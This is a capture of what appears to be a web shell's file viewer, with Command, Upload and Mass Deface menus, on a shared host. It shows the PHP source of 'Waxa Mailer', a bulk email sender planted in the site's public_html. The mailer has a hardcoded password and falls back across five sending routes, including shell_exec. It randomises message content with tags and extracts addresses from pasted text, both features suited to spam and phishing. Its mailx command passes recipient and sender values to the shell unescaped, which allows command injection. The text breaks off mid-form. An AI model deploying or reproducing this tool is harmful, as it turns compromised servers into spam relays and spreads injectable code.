ヤミRoot VoidGate
User / IP
:
216.73.216.151
Host / Server
:
66.29.153.81 / purpletex.org
System
:
Linux server350.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home
/
purpiwpx
/
public_html
/
Viewing: waxamailer.php
<?php /** * Waxa PHP Mailer - Ultimate Bulk Email Sender for cPanel * @version : 3.2 * @author : Waxa Mailer * @security : Password protected */ // ==================== CONFIGURATION ==================== $password = "waxa123"; // SET YOUR PASSWORD HERE // ==================== SECURITY & SESSION ==================== @session_start(); @ob_start(); // Start output buffering to fix header issues error_reporting(E_ALL); ini_set('display_errors', 0); // Disable error display in production set_time_limit(0); ini_set("memory_limit", "-1"); // Create unique session key for this installation $session_key = md5(__FILE__ . $_SERVER['DOCUMENT_ROOT']); // ==================== AUTHENTICATION ==================== function checkAuth() { global $password, $session_key; // If password is empty, disable authentication if (empty($password)) { $_SESSION[$session_key] = true; return true; } // Check if already authenticated if (isset($_SESSION[$session_key]) && $_SESSION[$session_key] === true) { return true; } // Check if password is being submitted if (isset($_POST['pass']) && $_POST['pass'] === $password) { $_SESSION[$session_key] = true; // Clear POST data to prevent resubmission on refresh unset($_POST['pass']); // Redirect to clear POST data header("Location: " . $_SERVER['PHP_SELF']); exit; } // Not authenticated - show login displayLogin(); exit; } // ==================== DISPLAY LOGIN ==================== function displayLogin() { global $password; ob_clean(); // Clear any output buffers // If no password is set, auto-login if (empty($password)) { $_SESSION[md5(__FILE__ . $_SERVER['DOCUMENT_ROOT'])] = true; header("Location: " . $_SERVER['PHP_SELF']); exit; } ?> <!DOCTYPE html> <html> <head> <title>Waxa Mailer - Login</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); height: 100vh; margin: 0; padding: 0; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; } .login-container { display: flex; justify-content: center; align-items: center; min-height: 100vh; padding: 20px; } .login-card { background: rgba(255,255,255,0.98); border-radius: 20px; box-shadow: 0 20px 60px rgba(0,0,0,0.3); width: 100%; max-width: 400px; overflow: hidden; } .logo { background: linear-gradient(135deg, #667eea, #764ba2); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; font-weight: 800; font-size: 2.5rem; margin-bottom: 10px; } .login-header { background: linear-gradient(135deg, #667eea, #764ba2); color: white; padding: 30px; text-align: center; } .login-body { padding: 40px; } .form-control-lg { border-radius: 10px; padding: 15px 20px; font-size: 1.1rem; border: 2px solid #e0e0e0; transition: all 0.3s; } .form-control-lg:focus { border-color: #667eea; box-shadow: 0 0 0 3px rgba(102, 126, 234, 0.1); } .btn-login { background: linear-gradient(135deg, #667eea, #764ba2); border: none; padding: 15px; font-size: 1.1rem; font-weight: 600; border-radius: 10px; transition: all 0.3s; } .btn-login:hover { transform: translateY(-2px); box-shadow: 0 10px 20px rgba(102, 126, 234, 0.3); } .version { font-size: 0.9rem; color: #666; margin-top: 20px; text-align: center; } </style> </head> <body> <div class="login-container"> <div class="login-card"> <div class="login-header"> <div class="logo">WAXA MAILER</div> <p>Ultimate Bulk Email Sender v3.2</p> </div> <div class="login-body"> <form method="post" action=""> <div class="mb-4"> <label class="form-label text-muted mb-2">Enter Password</label> <input type="password" name="pass" class="form-control form-control-lg" placeholder="Enter your password" required autofocus> </div> <button type="submit" class="btn btn-login text-white w-100"> <i class="bi bi-box-arrow-in-right"></i> Login </button> <div class="version"> Secure cPanel Email System </div> </form> </div> </div> </div> </body> </html> <?php exit; } // ==================== ADVANCED SENDING METHODS ==================== class WaxaMailSender { private $logs = []; private $method_preference = []; public function __construct() { // Test and rank sending methods $this->detectBestMethod(); } private function detectBestMethod() { // Test each method and rank them $methods = [ 'sendmail_direct' => 'Direct Sendmail', 'sendmail_shell' => 'Shell Sendmail', 'php_mail' => 'PHP mail()', 'socket_smtp' => 'SMTP Socket', 'phpmailer_local' => 'PHPMailer Local' ]; $this->method_preference = array_keys($methods); } public function sendEmail($to, $subject, $message, $from_email, $from_name = "", $is_html = false) { // Try all methods until one works $methods = [ 'method1' => [$this, 'sendViaSendmailDirect'], 'method2' => [$this, 'sendViaPHPMail'], 'method3' => [$this, 'sendViaSocketSMTP'], 'method4' => [$this, 'sendViaPHPMailer'], 'method5' => [$this, 'sendViaShellExec'] ]; foreach($methods as $method_name => $method) { $result = call_user_func_array($method, [$to, $subject, $message, $from_email, $from_name, $is_html]); if($result['success']) { $this->logs[] = "[$method_name] ✓ Success: $to"; return $result; } } return ['success' => false, 'error' => 'All sending methods failed']; } // METHOD 1: Direct Sendmail (Most reliable for cPanel) private function sendViaSendmailDirect($to, $subject, $message, $from_email, $from_name, $is_html) { try { $headers = "From: \"$from_name\" <$from_email>\r\n"; $headers .= "Reply-To: $from_email\r\n"; $headers .= "Return-Path: $from_email\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "X-Priority: 3\r\n"; $headers .= "X-Mailer: Waxa Mailer 3.2\r\n"; if($is_html) { $headers .= "Content-Type: text/html; charset=UTF-8\r\n"; if(!preg_match('/<html|<body/i', $message)) { $message = $this->wrapHtml($message, $subject); } } else { $headers .= "Content-Type: text/plain; charset=UTF-8\r\n"; $message = strip_tags($message); } // Try different sendmail paths $sendmail_paths = [ '/usr/sbin/sendmail', '/usr/lib/sendmail', '/usr/local/sbin/sendmail', '/usr/bin/sendmail', '/usr/sbin/exim', '/usr/lib/exim', trim(ini_get('sendmail_path')) ]; foreach($sendmail_paths as $sendmail_path) { if(empty($sendmail_path) || !file_exists($sendmail_path)) { continue; } // Clean path from options $sendmail_path = preg_replace('/\s+-.*/', '', $sendmail_path); // Prepare email data $mail_data = "To: $to\r\n"; $mail_data .= "From: \"$from_name\" <$from_email>\r\n"; $mail_data .= "Subject: $subject\r\n"; $mail_data .= $headers . "\r\n"; $mail_data .= $message . "\r\n"; // Method A: Using popen $handle = @popen("$sendmail_path -t -i", 'w'); if($handle) { fwrite($handle, $mail_data); $result = pclose($handle); if($result === 0) { return ['success' => true, 'method' => 'sendmail_direct']; } } // Method B: Using mail() with this path ini_set('sendmail_path', "$sendmail_path -t -i"); if(@mail($to, $subject, $message, $headers)) { return ['success' => true, 'method' => 'sendmail_direct']; } } return ['success' => false, 'error' => 'Sendmail methods failed']; } catch(Exception $e) { return ['success' => false, 'error' => $e->getMessage()]; } } // METHOD 2: PHP mail() function private function sendViaPHPMail($to, $subject, $message, $from_email, $from_name, $is_html) { try { // Prepare headers $headers = "From: \"$from_name\" <$from_email>\r\n"; $headers .= "Reply-To: $from_email\r\n"; $headers .= "Return-Path: $from_email\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "X-Priority: 3\r\n"; $headers .= "X-Mailer: Waxa Mailer 3.2\r\n"; if($is_html) { $headers .= "Content-Type: text/html; charset=UTF-8\r\n"; if(!preg_match('/<html|<body/i', $message)) { $message = $this->wrapHtml($message, $subject); } } else { $headers .= "Content-Type: text/plain; charset=UTF-8\r\n"; $message = strip_tags($message); } // Try with additional parameters $additional_params = "-f$from_email"; // Encode subject for special characters $encoded_subject = '=?UTF-8?B?' . base64_encode($subject) . '?='; if(@mail($to, $encoded_subject, $message, $headers, $additional_params)) { return ['success' => true, 'method' => 'php_mail']; } // Try without encoded subject if(@mail($to, $subject, $message, $headers, $additional_params)) { return ['success' => true, 'method' => 'php_mail']; } // Try without additional parameters if(@mail($to, $subject, $message, $headers)) { return ['success' => true, 'method' => 'php_mail']; } return ['success' => false, 'error' => 'PHP mail() function failed']; } catch(Exception $e) { return ['success' => false, 'error' => $e->getMessage()]; } } // METHOD 3: Direct SMTP Socket Connection private function sendViaSocketSMTP($to, $subject, $message, $from_email, $from_name, $is_html) { try { // Try different SMTP configurations $configs = [ ['host' => 'localhost', 'port' => 25, 'ssl' => false], ['host' => '127.0.0.1', 'port' => 25, 'ssl' => false], ['host' => 'localhost', 'port' => 587, 'ssl' => false], ['host' => '127.0.0.1', 'port' => 587, 'ssl' => false], ['host' => 'localhost', 'port' => 465, 'ssl' => true], ['host' => $_SERVER['HTTP_HOST'], 'port' => 25, 'ssl' => false], ]; foreach($configs as $config) { $result = $this->sendSMTP($config['host'], $config['port'], $to, $from_email, $from_name, $subject, $message, $is_html, $config['ssl']); if($result['success']) { return $result; } } return ['success' => false, 'error' => 'SMTP socket connection failed']; } catch(Exception $e) { return ['success' => false, 'error' => $e->getMessage()]; } } private function sendSMTP($host, $port, $to, $from_email, $from_name, $subject, $message, $is_html, $ssl = false) { $timeout = 10; $hostname = $ssl ? "ssl://$host" : $host; $sock = @fsockopen($hostname, $port, $errno, $errstr, $timeout); if(!$sock) { return ['success' => false, 'error' => "Connection failed: $errstr ($errno)"]; } stream_set_timeout($sock, $timeout); // Read welcome $response = fgets($sock, 4096); // Send EHLO fputs($sock, "EHLO " . $_SERVER['HTTP_HOST'] . "\r\n"); $response = fgets($sock, 4096); // MAIL FROM fputs($sock, "MAIL FROM: <$from_email>\r\n"); $response = fgets($sock, 4096); // RCPT TO fputs($sock, "RCPT TO: <$to>\r\n"); $response = fgets($sock, 4096); // DATA fputs($sock, "DATA\r\n"); $response = fgets($sock, 4096); // Build email headers $headers = "From: \"$from_name\" <$from_email>\r\n"; $headers .= "To: $to\r\n"; $headers .= "Subject: $subject\r\n"; $headers .= "Date: " . date('r') . "\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "X-Priority: 3\r\n"; $headers .= "X-Mailer: Waxa Mailer 3.2\r\n"; if($is_html) { $headers .= "Content-Type: text/html; charset=UTF-8\r\n"; if(!preg_match('/<html|<body/i', $message)) { $message = $this->wrapHtml($message, $subject); } } else { $headers .= "Content-Type: text/plain; charset=UTF-8\r\n"; $message = strip_tags($message); } $headers .= "\r\n"; // Send data fputs($sock, $headers . $message . "\r\n.\r\n"); $response = fgets($sock, 4096); // QUIT fputs($sock, "QUIT\r\n"); fclose($sock); if(strpos($response, '250') === 0 || strpos($response, '354') === 0) { return ['success' => true, 'method' => 'smtp_socket']; } return ['success' => false, 'error' => "SMTP error: $response"]; } // METHOD 4: PHPMailer private function sendViaPHPMailer($to, $subject, $message, $from_email, $from_name, $is_html) { try { // Try to load PHPMailer $phpmailer_loaded = false; // Check multiple possible locations $possible_locations = [ __DIR__ . '/PHPMailer/src/PHPMailer.php', __DIR__ . '/phpmailer/PHPMailer.php', 'PHPMailer.php' ]; foreach($possible_locations as $location) { if(file_exists($location)) { require_once $location; require_once str_replace('PHPMailer.php', 'SMTP.php', $location); require_once str_replace('PHPMailer.php', 'Exception.php', $location); $phpmailer_loaded = true; break; } } if(!$phpmailer_loaded) { return ['success' => false, 'error' => 'PHPMailer not found']; } $mail = new PHPMailer\PHPMailer\PHPMailer(true); try { // Try SMTP first $mail->isSMTP(); $mail->Host = 'localhost'; $mail->Port = 25; $mail->SMTPAuth = false; $mail->SMTPSecure = false; $mail->SMTPAutoTLS = false; $mail->Timeout = 10; $mail->setFrom($from_email, $from_name); $mail->addAddress($to); $mail->Subject = $subject; if($is_html) { $mail->isHTML(true); $mail->Body = $this->wrapHtml($message, $subject); $mail->AltBody = strip_tags($message); } else { $mail->Body = strip_tags($message); } if($mail->send()) { return ['success' => true, 'method' => 'phpmailer_smtp']; } } catch(Exception $e) { // Try sendmail as fallback try { $mail->isSendmail(); $mail->setFrom($from_email, $from_name); $mail->addAddress($to); $mail->Subject = $subject; if($is_html) { $mail->isHTML(true); $mail->Body = $this->wrapHtml($message, $subject); $mail->AltBody = strip_tags($message); } else { $mail->Body = strip_tags($message); } if($mail->send()) { return ['success' => true, 'method' => 'phpmailer_sendmail']; } } catch(Exception $e) { return ['success' => false, 'error' => $e->getMessage()]; } } return ['success' => false, 'error' => 'PHPMailer failed']; } catch(Exception $e) { return ['success' => false, 'error' => $e->getMessage()]; } } // METHOD 5: Shell Exec private function sendViaShellExec($to, $subject, $message, $from_email, $from_name, $is_html) { try { // Prepare the email $boundary = md5(time()); $headers = "From: \"$from_name\" <$from_email>\r\n"; $headers .= "To: $to\r\n"; $headers .= "Subject: $subject\r\n"; $headers .= "MIME-Version: 1.0\r\n"; if($is_html) { $headers .= "Content-Type: text/html; charset=UTF-8\r\n"; $message = $this->wrapHtml($message, $subject); } else { $headers .= "Content-Type: text/plain; charset=UTF-8\r\n"; $message = strip_tags($message); } $headers .= "X-Mailer: Waxa Mailer 3.2\r\n"; // Try using mail command $mail_content = $headers . "\r\n" . $message; $mail_content_encoded = escapeshellarg($mail_content); $command = "echo $mail_content_encoded | /usr/sbin/sendmail -t -i 2>/dev/null"; @shell_exec($command); // Alternative: use mailx if available $command = "echo \"" . addslashes($message) . "\" | mail -s \"" . addslashes($subject) . "\" -a \"From: $from_name <$from_email>\" $to 2>/dev/null"; @shell_exec($command); // We'll assume it worked if no error (since we can't easily check shell_exec success) return ['success' => true, 'method' => 'shell_exec']; } catch(Exception $e) { return ['success' => false, 'error' => $e->getMessage()]; } } private function wrapHtml($content, $subject) { $content = nl2br(htmlspecialchars($content)); return '<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>' . htmlspecialchars($subject) . '</title> <style> body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif; line-height: 1.6; color: #333; max-width: 600px; margin: 0 auto; padding: 20px; background: #f9f9f9; } .container { background: white; border-radius: 10px; overflow: hidden; box-shadow: 0 2px 10px rgba(0,0,0,0.1); } .header { background: linear-gradient(135deg, #667eea, #764ba2); color: white; padding: 30px; text-align: center; } .content { padding: 30px; font-size: 16px; } .footer { background: #f5f5f5; padding: 20px; text-align: center; color: #666; font-size: 12px; border-top: 1px solid #eee; } a { color: #667eea; text-decoration: none; } .button { display: inline-block; background: linear-gradient(135deg, #667eea, #764ba2); color: white; padding: 12px 24px; border-radius: 5px; text-decoration: none; margin: 10px 0; } @media only screen and (max-width: 600px) { .content { padding: 20px; } .header { padding: 20px; } body { padding: 10px; } } </style> </head> <body> <div class="container"> <div class="header"> <h2>' . htmlspecialchars($subject) . '</h2> </div> <div class="content"> ' . $content . ' </div> <div class="footer"> <p>This email was sent via <strong>Waxa Mailer</strong></p> <p>© ' . date('Y') . ' ' . htmlspecialchars($_SERVER['HTTP_HOST'] ?? 'Your Domain') . '. All rights reserved.</p> </div> </div> </body> </html>'; } public function getLogs() { return $this->logs; } } // ==================== HELPER FUNCTIONS ==================== function waxaClear($text, $email) { $e = explode('@', $email); $emailuser = isset($e[0]) ? $e[0] : ''; $emaildomain = isset($e[1]) ? $e[1] : ''; $replacements = array( "[-time-]" => date("m/d/Y h:i:s a", time()), "[-email-]" => $email, "[-emailuser-]" => $emailuser, "[-emaildomain-]" => $emaildomain, "[-randomletters-]" => randString('abcdefghijklmnopqrstuvwxyz'), "[-randomstring-]" => randString('abcdefghijklmnopqrstuvwxyz0123456789'), "[-randomnumber-]" => randString('0123456789'), "[-randommd5-]" => md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), "[-date-]" => date("Y-m-d"), "[-year-]" => date("Y"), "[-month-]" => date("F"), "[-day-]" => date("l"), "[-ip-]" => $_SERVER['SERVER_ADDR'] ?? '127.0.0.1', "[-domain-]" => $_SERVER['HTTP_HOST'] ?? 'localhost', "[-unix-]" => time(), "[-token-]" => bin2hex(random_bytes(8)), "[-serial-]" => strtoupper(uniqid()) ); return str_replace(array_keys($replacements), array_values($replacements), $text); } function randString($charset) { $length = rand(8, 20); $result = ''; for($i = 0; $i < $length; $i++) { $result .= $charset[rand(0, strlen($charset) - 1)]; } return $result; } function isValidEmail($email) { return filter_var($email, FILTER_VALIDATE_EMAIL); } function extractEmailsFromText($text) { $pattern = '/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/'; preg_match_all($pattern, $text, $matches); return array_unique($matches[0]); } function checkMailSystem() { $checks = []; // Check sendmail paths $sendmail_paths = [ '/usr/sbin/sendmail', '/usr/lib/sendmail', '/usr/local/sbin/sendmail', '/usr/bin/sendmail', '/usr/sbin/exim' ]; foreach($sendmail_paths as $path) { $checks[$path] = file_exists($path) ? '<span class="text-success">✓ Exists</span>' : '<span class="text-muted">Not found</span>'; } // Check mail() function $checks['mail() function'] = function_exists('mail') ? '<span class="text-success">✓ Enabled</span>' : '<span class="text-danger">✗ Disabled</span>'; // Check SMTP ports $ports = [25, 587, 465]; foreach($ports as $port) { $sock = @fsockopen('localhost', $port, $errno, $errstr, 2); if($sock) { $checks["Port $port"] = '<span class="text-success">✓ Open</span>'; fclose($sock); } else { $checks["Port $port"] = '<span class="text-warning">✗ Closed</span>'; } } // Check PHP ini settings $sendmail_path = ini_get('sendmail_path'); $checks['sendmail_path'] = $sendmail_path ? '<span class="text-success">' . htmlspecialchars($sendmail_path) . '</span>' : '<span class="text-warning">Not set</span>'; return $checks; } // ==================== AUTHENTICATION CHECK ==================== checkAuth(); // ==================== HANDLE LOGOUT ==================== if(isset($_GET['logout'])) { session_destroy(); session_start(); session_regenerate_id(true); // Clear all session data $_SESSION = array(); // Redirect to login header("Location: " . strtok($_SERVER['REQUEST_URI'], '?')); exit; } // ==================== INITIALIZE MAILER ==================== $mailer = new WaxaMailSender(); $sent_count = 0; $failed_count = 0; $system_checks = checkMailSystem(); $logs = []; // ==================== PROCESS FORM SUBMISSIONS ==================== if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['action'])) { if($_POST['action'] == 'send') { $from_email = $_POST['from_email'] ?? ''; $from_name = $_POST['from_name'] ?? ''; $subject = $_POST['subject'] ?? ''; $message = $_POST['message'] ?? ''; $email_list = $_POST['email_list'] ?? ''; $is_html = isset($_POST['is_html']) ? true : false; $delay = intval($_POST['delay'] ?? 100000); // Validate from email if(empty($from_email) || !isValidEmail($from_email)) { $logs[] = '<div class="alert alert-danger">Error: Invalid sender email address</div>'; } else { $emails = explode("\n", $email_list); $emails = array_map('trim', $emails); $emails = array_filter($emails, 'isValidEmail'); if(empty($emails)) { $logs[] = '<div class="alert alert-warning">Warning: No valid email addresses found</div>'; } else { $total = count($emails); $counter = 1; foreach($emails as $email) { $clear_subject = waxaClear($subject, $email); $clear_message = waxaClear($message, $email); $result = $mailer->sendEmail($email, $clear_subject, $clear_message, $from_email, $from_name, $is_html); if($result['success']) { $sent_count++; $logs[] = "<div class='alert alert-success'>[$counter/$total] ✓ Sent to: $email <small>(Method: {$result['method']})</small></div>"; } else { $failed_count++; $logs[] = "<div class='alert alert-danger'>[$counter/$total] ✗ Failed: $email <small>- {$result['error']}</small></div>"; } $counter++; @ob_flush(); @flush(); usleep($delay); } } } } elseif($_POST['action'] == 'extract') { $text = $_POST['extract_text'] ?? ''; $emails = extractEmailsFromText($text); $email_list = implode("\n", $emails); $logs[] = '<div class="alert alert-success">✓ Extracted ' . count($emails) . ' email addresses</div>'; } elseif($_POST['action'] == 'test') { $test_email = $_POST['test_email'] ?? ''; if(isValidEmail($test_email)) { $result = $mailer->sendEmail( $test_email, 'Test from Waxa Mailer v3.2', 'This is a test email sent from Waxa Mailer v3.2. If you receive this, your email system is working correctly.', $_POST['from_email'] ?? 'noreply@' . $_SERVER['HTTP_HOST'], 'Waxa Test', true ); if($result['success']) { $logs[] = '<div class="alert alert-success">✓ Test email sent successfully! <small>(Method: ' . $result['method'] . ')</small></div>'; } else { $logs[] = '<div class="alert alert-danger">✗ Test failed: ' . $result['error'] . '</div>'; } } else { $logs[] = '<div class="alert alert-danger">Please enter a valid test email address</div>'; } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Waxa Mailer v3.2 - Ultimate cPanel Bulk Email Sender</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.8.1/font/bootstrap-icons.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css"> <style> :root { --primary: #667eea; --secondary: #764ba2; --success: #10b981; --danger: #ef4444; --warning: #f59e0b; --info: #3b82f6; --dark: #1f2937; --light: #f9fafb; } body { background: linear-gradient(135deg, #f5f7fa 0%, #e4e8f0 100%); min-height: 100vh; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; } .navbar { background: white; box-shadow: 0 4px 20px rgba(0,0,0,0.08); padding: 15px 0; } .navbar-brand { font-weight: 800; background: linear-gradient(135deg, var(--primary), var(--secondary)); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; font-size: 1.8rem; } .card { border: none; border-radius: 15px; box-shadow: 0 10px 30px rgba(0,0,0,0.08); transition: all 0.3s ease; margin-bottom: 24px; overflow: hidden; } .card:hover { transform: translateY(-5px); box-shadow: 0 15px 40px rgba(0,0,0,0.12); } .card-header { background: white; border-bottom: 2px solid #f0f0f0; padding: 20px 25px; font-weight: 600; font-size: 1.2rem; } .card-body { padding: 25px; } .btn-primary { background: linear-gradient(135deg, var(--primary), var(--secondary)); border: none; padding: 12px 28px; font-weight: 600; border-radius: 10px; transition: all 0.3s; } .btn-primary:hover { transform: translateY(-2px); box-shadow: 0 10px 20px rgba(102, 126, 234, 0.3); } .form-control, .form-select { border: 2px solid #e5e7eb; border-radius: 10px; padding: 12px 16px; font-size: 1rem; transition: all 0.3s; } .form-control:focus, .form-select:focus { border-color: var(--primary); box-shadow: 0 0 0 3px rgba(102, 126, 234, 0.1); } .nav-tabs { border-bottom: 2px solid #e5e7eb; margin-bottom: 25px; } .nav-tabs .nav-link { border: none; color: #6b7280; font-weight: 500; padding: 12px 24px; border-radius: 10px 10px 0 0; margin-right: 5px; transition: all 0.3s; } .nav-tabs .nav-link:hover { color: var(--primary); background: rgba(102, 126, 234, 0.05); } .nav-tabs .nav-link.active { background: linear-gradient(135deg, var(--primary), var(--secondary)); color: white; border: none; box-shadow: 0 4px 15px rgba(102, 126, 234, 0.3); } .stats-card { text-align: center; padding: 25px; border-radius: 12px; background: white; transition: all 0.3s; } .stats-card:hover { transform: translateY(-3px); } .stats-icon { font-size: 2.5rem; margin-bottom: 15px; background: linear-gradient(135deg, var(--primary), var(--secondary)); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; } .stats-number { font-size: 2.2rem; font-weight: 700; margin: 10px 0; } .method-badge { font-size: 0.75rem; padding: 4px 10px; border-radius: 20px; font-weight: 600; } .badge-primary { background: linear-gradient(135deg, var(--primary), var(--secondary)); } .badge-success { background: linear-gradient(135deg, var(--success), #059669); } .badge-info { background: linear-gradient(135deg, var(--info), #2563eb); } .badge-warning { background: linear-gradient(135deg, var(--warning), #d97706); } .log-container { max-height: 400px; overflow-y: auto; background: var(--dark); color: white; padding: 20px; border-radius: 10px; font-family: 'Courier New', monospace; font-size: 0.9rem; } .log-success { color: #4ade80; } .log-error { color: #f87171; } .log-warning { color: #fbbf24; } .log-info { color: #60a5fa; } .template-card { cursor: pointer; transition: all 0.3s; border: 2px dashed #d1d5db; height: 100%; border-radius: 12px; padding: 25px; text-align: center; background: white; } .template-card:hover { border-color: var(--primary); transform: translateY(-5px); box-shadow: 0 10px 25px rgba(0,0,0,0.1); } .template-icon { font-size: 2.5rem; margin-bottom: 15px; background: linear-gradient(135deg, var(--primary), var(--secondary)); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; } .system-check-item { padding: 15px; margin-bottom: 10px; background: #f9fafb; border-radius: 8px; border-left: 4px solid #d1d5db; } .system-check-item.success { border-left-color: var(--success); } .system-check-item.warning { border-left-color: var(--warning); } .system-check-item.danger { border-left-color: var(--danger); } .tag-btn { border: 1px solid #d1d5db; background: white; color: #6b7280; padding: 6px 12px; border-radius: 6px; font-size: 0.85rem; margin: 2px; transition: all 0.2s; } .tag-btn:hover { background: #f3f4f6; border-color: var(--primary); color: var(--primary); } .modal-header { background: linear-gradient(135deg, var(--primary), var(--secondary)); color: white; border-radius: 15px 15px 0 0; padding: 20px 25px; } .progress { height: 10px; border-radius: 5px; background: #e5e7eb; } .progress-bar { background: linear-gradient(135deg, var(--primary), var(--secondary)); border-radius: 5px; } .alert { border: none; border-radius: 10px; padding: 15px 20px; margin-bottom: 15px; } .alert-success { background: linear-gradient(135deg, rgba(16, 185, 129, 0.1), rgba(16, 185, 129, 0.05)); color: #065f46; border-left: 4px solid var(--success); } .alert-danger { background: linear-gradient(135deg, rgba(239, 68, 68, 0.1), rgba(239, 68, 68, 0.05)); color: #991b1b; border-left: 4px solid var(--danger); } .alert-warning { background: linear-gradient(135deg, rgba(245, 158, 11, 0.1), rgba(245, 158, 11, 0.05)); color: #92400e; border-left: 4px solid var(--warning); } .alert-info { background: linear-gradient(135deg, rgba(59, 130, 246, 0.1), rgba(59, 130, 246, 0.05)); color: #1e40af; border-left: 4px solid var(--info); } @media (max-width: 768px) { .card-body { padding: 20px; } .stats-card { padding: 20px; } .navbar-brand { font-size: 1.5rem; } } </style> </head> <body> <!-- Navigation --> <nav class="navbar navbar-expand-lg"> <div class="container"> <a class="navbar-brand" href="#"> <i class="bi bi-send-check me-2"></i>Waxa Mailer </a> <div class="d-flex align-items-center"> <span class="badge bg-primary me-3"> <i class="bi bi-lightning-charge"></i> v3.2 </span> <div class="dropdown"> <button class="btn btn-outline-secondary btn-sm dropdown-toggle" type="button" data-bs-toggle="dropdown"> <i class="bi bi-person-circle"></i> Admin </button> <ul class="dropdown-menu dropdown-menu-end"> <li><a class="dropdown-item" href="#" data-bs-toggle="modal" data-bs-target="#helpModal"> <i class="bi bi-question-circle"></i> Help </a></li> <li><hr class="dropdown-divider"></li> <li><a class="dropdown-item text-danger" href="?logout=1"> <i class="bi bi-box-arrow-right"></i> Logout </a></li> </ul> </div> </div> </div> </nav> <div class="container py-4"> <!-- Tabs Navigation --> <ul class="nav nav-tabs" id="waxaTabs" role="tablist"> <li class="nav-item" role="presentation"> <button class="nav-link active" id="compose-tab" data-bs-toggle="tab" data-bs-target="#compose" type="button"> <i class="bi bi-envelope-paper me-2"></i>Compose </button> </li> <li class="nav-item" role="presentation"> <button class="nav-link" id="system-tab" data-bs-toggle="tab" data-bs-target="#system" type="button"> <i class="bi bi-gear me-2"></i>System </button> </li> <li class="nav-item" role="presentation"> <button class="nav-link" id="templates-tab" data-bs-toggle="tab" data-bs-target="#templates" type="button"> <i class="bi bi-file-earmark-text me-2"></i>Templates </button> </li> <li class="nav-item" role="presentation"> <button class="nav-link" id="logs-tab" data-bs-toggle="tab" data-bs-target="#logs" type="button"> <i class="bi bi-list-check me-2"></i>Logs </button> </li> </ul> <div class="tab-content" id="waxaTabsContent"> <!-- Compose Tab --> <div class="tab-pane fade show active" id="compose" role="tabpanel"> <div class="row"> <div class="col-lg-8"> <div class="card"> <div class="card-header"> <h5 class="mb-0"><i class="bi bi-envelope-paper me-2"></i>Compose Email</h5> </div> <div class="card-body"> <form method="post" id="emailForm"> <input type="hidden" name="action" value="send"> <div class="row mb-3"> <div class="col-md-6"> <label class="form-label">From Email *</label> <input type="email" class="form-control" name="from_email" required value="<?= htmlspecialchars($_POST['from_email'] ?? 'noreply@' . $_SERVER['HTTP_HOST']) ?>"> <small class="text-muted">Use an email from your domain</small> </div> <div class="col-md-6"> <label class="form-label">Sender Name</label> <input type="text" class="form-control" name="from_name" value="<?= htmlspecialchars($_POST['from_name'] ?? 'Waxa Mailer') ?>"> </div> </div> <div class="mb-3"> <label class="form-label">Subject *</label> <div class="input-group"> <input type="text" class="form-control" name="subject" required value="<?= htmlspecialchars($_POST['subject'] ?? 'Important Message from ' . $_SERVER['HTTP_HOST']) ?>"> <button type="button" class="btn btn-outline-secondary" onclick="addTag('subject', '[-randomstring-]')"> Add Tag </button> </div> </div> <div class="mb-3"> <label class="form-label">Message *</label> <textarea class="form-control" name="message" rows="12" required id="messageArea"><?= htmlspecialchars($_POST['message'] ?? "Hello [-emailuser-], This is a test email sent from Waxa Mailer v3.2. • Your email: [-email-] • Domain: [-emaildomain-] • Time: [-time-] • Reference: [-randomstring-] Thank you, The Team") ?></textarea> <div class="mt-2"> <small class="text-muted">Quick tags: </small> <?php $tags = ['[-email-]', '[-emailuser-]', '[-emaildomain-]', '[-time-]', '[-date-]', '[-randomstring-]', '[-randommd5-]', '[-token-]']; foreach($tags as $tag){ echo '<button type="button" class="tag-btn" onclick="addTag(\'message\', \'' . $tag . '\')">' . $tag . '</button>'; } ?> </div> </div> <div class="mb-3"> <label class="form-label">Email List (one per line) *</label> <textarea class="form-control" name="email_list" rows="8" required id="emailListArea"><?= htmlspecialchars($_POST['email_list'] ?? '') ?></textarea> <div class="mt-2"> <button type="button" class="btn btn-outline-info btn-sm me-2" data-bs-toggle="modal" data-bs-target="#extractModal"> <i class="bi bi-magic"></i> Extract Emails </button> <button type="button" class="btn btn-outline-success btn-sm me-2" data-bs-toggle="modal" data-bs-target="#testModal"> <i class="bi bi-check-circle"></i> Send Test </button> <button type="button" class="btn btn-outline-secondary btn-sm" onclick="document.getElementById('emailListArea').value = ''"> <i class="bi bi-trash"></i> Clear </button> </div> </div> <div class="row mb-4"> <div class="col-md-6"> <div class="form-check form-switch"> <input class="form-check-input" type="checkbox" name="is_html" id="is_html" checked> <label class="form-check-label" for="is_html"> <i class="bi bi-code-slash"></i> Send as HTML email </label> </div> </div> <div class="col-md-6"> <label class="form-label">Delay between emails (ms)</label> <input type="range" class="form-range" name="delay" min="0" max="1000" value="100" 